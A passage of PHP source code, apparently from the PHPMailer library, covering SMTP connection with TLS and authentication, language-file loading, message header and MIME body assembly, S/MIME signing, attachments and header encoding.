OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (integer)$hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: // * it's not disabled // * we have openssl extension // * we are not already using SSL // * the server offers STARTTLS if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang('connect_host')); } // We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation ) ) { throw new phpmailerException($this->lang('authenticate')); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); // We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } // If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); // As we've caught all exceptions, just report whatever the last one was if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } /** * Close the active SMTP session if one exists. * @return void */ public function smtpClose() { if (is_a($this->smtp, 'SMTP')) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } /** * Set the language for error messages. * Returns false if it cannot load the language file. * The default language is English. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * @param string $lang_path Path to the language file directory, with trailing separator (slash) * @return boolean * @access public */ public function setLanguage($langcode = 'en', $lang_path = '') { // Backwards compatibility for renamed language codes $renamed_langcodes = array( 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'sr' => 'rs' ); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } // Define full set of translatable strings in English $PHPMAILER_LANG = array( 'authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: ' ); if (empty($lang_path)) { // Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR; } //Validate $langcode if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) { $langcode = 'en'; } $foundlang = true; $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; // There is no English translation file if ($langcode != 'en') { // Make sure language file path is readable if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { //$foundlang = include $lang_file; $lines = file($lang_file); foreach ($lines as $line) { //Translation file lines look like this: //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.'; //These files are parsed as text and not PHP so as to avoid the possibility of code injection //See https://blog.stevenlevithan.com/archives/match-quoted-string $matches = array(); if ( preg_match( '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/', $line, $matches ) && //Ignore unknown translation keys array_key_exists($matches[1], $PHPMAILER_LANG) ) { //Overwrite language-specific strings so we'll never have missing translation keys. $PHPMAILER_LANG[$matches[1]] = (string)$matches[3]; } } } } $this->language = $PHPMAILER_LANG; return (boolean)$foundlang; // Returns false if language not found } /** * Get the array of strings for the current language. * @return array */ public function getTranslations() { return $this->language; } /** * Create recipient headers. * @access public * @param string $type * @param array $addr An array of recipient, * where each recipient is a 2-element indexed array with element 0 containing an address * and element 1 containing a name, like: * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User')) * @return string */ public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ': ' . implode(', ', $addresses) . $this->LE; } /** * Format an address for use in a message header. * @access public * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name * like array('joe@example.com', 'Joe User') * @return string */ public function addrFormat($addr) { if (empty($addr[1])) { // No name provided return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( $addr[0] ) . '>'; } } /** * Word-wrap message. * For use with mailers that do not automatically perform wrapping * and for quoted-printable encoded messages. * Original written by philippe. * @param string $message The message to wrap * @param integer $length The line length to wrap to * @param boolean $qp_mode Whether to run in Quoted-Printable mode * @access public * @return string */ public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(' =%s', $this->LE); } else { $soft_break = $this->LE; } // If utf-8 encoding is used, we will need to make sure we don't // split multibyte characters when we wrap $is_utf8 = (strtolower($this->CharSet) == 'utf-8'); $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); //Remove a trailing line break if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } //Split message into lines $lines = explode($this->LE, $message); //Message will be rebuilt in here $message = ''; foreach ($lines as $line) { $words = explode(' ', $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == '=') { $len--; } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == '=') { $len--; } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf('=%s', self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= ' '; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } /** * Find the last character boundary prior to $maxLength in a utf-8 * quoted-printable encoded string. * Original written by Colin Brown. * @access public * @param string $encodedText utf-8 QP text * @param integer $maxLength Find the last character boundary prior to this length * @return integer */ public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { // Found start of encoded character byte within $lookBack block. // Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { // Single byte character. // If the encoded char was found at pos 0, it will fit // otherwise reduce maxLength to start of the encoded char if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { // First byte of a multi byte character // Reduce maxLength to split at start of character $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back $lookBack += 3; } } else { // No encoded character found $foundSplitPos = true; } } return $maxLength; } /** * Apply word wrapping to the message body. * Wraps the message body to the number of chars set in the WordWrap property. * You should only do this to plain-text bodies as wrapping HTML tags may break them. * This is called automatically by createBody(), so you don't need to call it yourself. * @access public * @return void */ public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } /** * Assemble message headers. * @access public * @return string The assembled headers */ public function createHeader() { $result = ''; $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); // To be created automatically by mail() if ($this->SingleTo) { if ($this->Mailer != 'mail') { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != 'mail') { $result .= $this->addrAppend('To', $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;'); } } $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); // sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc); } // sendmail and mail() extract Bcc from the header before sending if (( $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' ) and count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo); } // mail() sets the subject itself if ($this->Mailer != 'mail') { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 // https://tools.ietf.org/html/rfc5322#section-3.6.4 if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine('Message-ID', $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine('X-Priority', $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)' ); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine('X-Mailer', $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); } // Add custom headers foreach ($this->CustomHeader as $header) { $result .= $this->headerLine( trim($header[0]), $this->encodeHeader(trim($header[1])) ); } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0'); $result .= $this->getMailMIME(); } return $result; } /** * Get the message MIME type headers. * @access public * @return string */ public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', 'multipart/related;'); $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', 'multipart/mixed;'); $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', 'multipart/alternative;'); $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); break; default: // Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); $ismultipart = false; break; } // RFC1341 part 5 says 7bit is assumed if not specified if ($this->Encoding != '7bit') { // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if ($this->Encoding == '8bit') { $result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); } // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } if ($this->Mailer != 'mail') { $result .= $this->LE; } return $result; } /** * Returns the whole MIME message. * Includes complete headers and body. * Only valid post preSend(). * @see PHPMailer::preSend() * @access public * @return string */ public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody; } /** * Create unique ID * @return string */ protected function generateId() { return md5(uniqid(time())); } /** * Assemble the message body. * Returns an empty string on failure. * @access public * @throws phpmailerException * @return string The assembled message body */ public function createBody() { $body = ''; //Create unique IDs and preset boundaries $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1_' . $this->uniqueid; $this->boundary[2] = 'b2_' . $this->uniqueid; $this->boundary[3] = 'b3_' . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { $bodyEncoding = '7bit'; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $bodyCharSet = 'us-ascii'; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the body part only if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = 'quoted-printable'; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = '7bit'; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $altBodyCharSet = 'us-ascii'; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the alt body part only if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = 'quoted-printable'; } //Use this as a preamble in all multipart message types $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; switch ($this->message_type) { case 'inline': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/related;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_inline': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/related;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine('--' . $this->boundary[2]); $body .= $this->headerLine('Content-Type', 'multipart/related;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; default: // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types //Reset the `Encoding` property in case we changed it for line length reasons $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new phpmailerException($this->lang('extension_missing') . 'openssl'); } // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 $file = tempnam(sys_get_temp_dir(), 'mail'); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang('signing') . ' Could not write temp file'); } $signed = tempnam(sys_get_temp_dir(), 'signed'); //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null ); } else { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file ); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); //The message returned by openssl contains both headers and body, so need to split them up $parts = explode("\n\n", $body, 2); $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->lang('signing') . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } /** * Return the start of a message boundary. * @access protected * @param string $boundary * @param string $charSet * @param string $contentType * @param string $encoding * @return string */ protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= $this->LE; // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); } $result .= $this->LE; return $result; } /** * Return the end of a message boundary. * @access protected * @param string $boundary * @return string */ protected function endBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE; } /** * Set the message type. * PHPMailer only supports some preset message types, not arbitrary MIME structures. * @access protected * @return void */ protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = 'alt'; } if ($this->inlineImageExists()) { $type[] = 'inline'; } if ($this->attachmentExists()) { $type[] = 'attach'; } $this->message_type = implode('_', $type); if ($this->message_type == '') { //The 'plain' message_type refers to the message having a single body element, not that it is plain-text $this->message_type = 'plain'; } } /** * Format a header line. * @access public * @param string $name * @param string $value * @return string */ public function headerLine($name, $value) { return $name . ': ' . $value . $this->LE; } /** * Return a formatted mail line. * @access public * @param string $value * @return string */ public function textLine($value) { return $value . $this->LE; } /** * Add an attachment from a path on the filesystem. * Never use a user-supplied path to a file! * Returns false if the file could not be found or read. * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client. * If you need to do that, fetch the resource yourself and pass it in via a local file or string. * @param string $path Path to the attachment. * @param string $name Overrides the attachment name. * @param string $encoding File encoding (see $Encoding). * @param string $type File extension (MIME) type. * @param string $disposition Disposition to use * @throws phpmailerException * @return boolean */ public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') { try { if (!self::isPermittedPath($path) or !@is_file($path)) { throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE); } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => 0 ); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Return the array of attachments. * @return array */ public function getAttachments() { return $this->attachment; } /** * Attach all file, string, and binary attachments to the message. * Returns an empty string on failure. * @access protected * @param string $disposition_type * @param string $boundary * @return string */ protected function attachAll($disposition_type, $boundary) { // Return text of body $mime = array(); $cidUniq = array(); $incl = array(); // Add all attachments foreach ($this->attachment as $attachment) { // Check if it is a valid disposition_filter if ($attachment[6] == $disposition_type) { // Check for string attachment $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, $this->LE); //Only include a filename property if we have one if (!empty($name)) { $mime[] = sprintf( 'Content-Type: %s; name=%s%s', $type, $this->quotedString($this->encodeHeader($this->secureHeader($name))), $this->LE ); } else { $mime[] = sprintf( 'Content-Type: %s%s', $type, $this->LE ); } // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE); } if ($disposition == 'inline') { $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE); } // Allow for bypassing the Content-Disposition header if (!(empty($disposition))) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (!empty($encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s; filename=%s%s', $disposition, $this->quotedString($encoded_name), $this->LE . $this->LE ); } else { $mime[] = sprintf( 'Content-Disposition: %s%s', $disposition, $this->LE . $this->LE ); } } else { $mime[] = $this->LE; } // Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf('--%s--%s', $boundary, $this->LE); return implode('', $mime); } /** * Encode a file attachment in requested format. * Returns an empty string on failure. * @param string $path The full path to the file * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * @throws phpmailerException * @access protected * @return string */ protected function encodeFile($path, $encoding = 'base64') { try { if (!self::isPermittedPath($path) or !file_exists($path)) { throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE); } $magic_quotes = false; if( version_compare(PHP_VERSION, '7.4.0', '<') ) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime(false); } else { //Doesn't exist in PHP 5.4, but we don't need to check because //get_magic_quotes_runtime always returns false in 5.4+ //so it will never get here ini_set('magic_quotes_runtime', false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime($magic_quotes); } else { ini_set('magic_quotes_runtime', $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } /** * Encode a string in requested format. * Returns an empty string on failure. * @param string $str The text to encode * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * @access public * @return string */ public function encodeString($str, $encoding = 'base64') { $encoded = ''; switch (strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case '7bit': case '8bit': $encoded = $this->fixEOL($str); // Make sure it ends with a line break if (substr($encoded, -(strlen($this->LE))) != $this->LE) { $encoded .= $this->LE; } break; case 'binary': $encoded = $str; break; case 'quoted-printable': $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang('encoding') . $encoding); break; } return $encoded; } /** * Encode a header string optimally. * Picks shortest of Q, B, quoted-printable or none. * @access public * @param string $str * @param string $position * @return string */ public function encodeHeader($str, $position = 'text') { $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { // Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded); } else { return ("\"$encoded\""); } } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); // Intentional fall-through case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } //There are no chars that need encoding if ($matchcount == 0) { return ($str); } $maxlen = 75 - 7 - strlen($this->CharSet); // Try to select the encoding which should produce the shortest output if ($matchcount > strlen($str) / 3) { // More than a third of the content will need encoding, so B encoding will be most efficient $encoding = 'B'; if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { // Use a custom function which correctly encodes and wraps long // multibyte strings without breaking lines within a character $encoded = $this->base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } } else { $encoding = 'Q'; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded)); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); $encoded = trim(str_replace("\n", $this->LE, $encoded)); return $encoded; } /** * Check if a string contains multi-byte characters. * @access public * @param string $str multi-byte text to wrap encode * @return boolean */ public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet)); } else { // Assume no multibytes (we can't handle without mbstring functions anyway) return false; } } /** * Does a string contain any 8-bit chars (in any charset)? * @param string $text * @return boolean */ public function has8bitChars($text) { return (boolean)preg_match('/[\x80-\xFF]/', $text); } /** * Encode and wrap long multibyte strings for mail headers * without breaking lines within a character. * Adapted from a function by paravoid * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 * @access public * @param string $str multi-byte text to wrap encode * @param string $linebreak string to use as linefeed/end-of-line * @return string */ public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?'; $end = '?='; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); // Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end); // Average multi-byte ratio $ratio = $mb_length / strlen($str); // Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } // Chomp the last linefeed $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } /** * Encode a string in quoted-printable format. * According to RFC2045 section 6.7. * @access public * @param string $string The text to encode * @param integer $line_max Number of chars allowed on a line before wrapping * @return string * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment */ public function encodeQP($string, $line_max = 76) { // Use native function if it's available (>= PHP5.3) if (function_exists('quoted_printable_encode')) { return quoted_printable_encode($string); } // Fall back to a pure PHP implementation 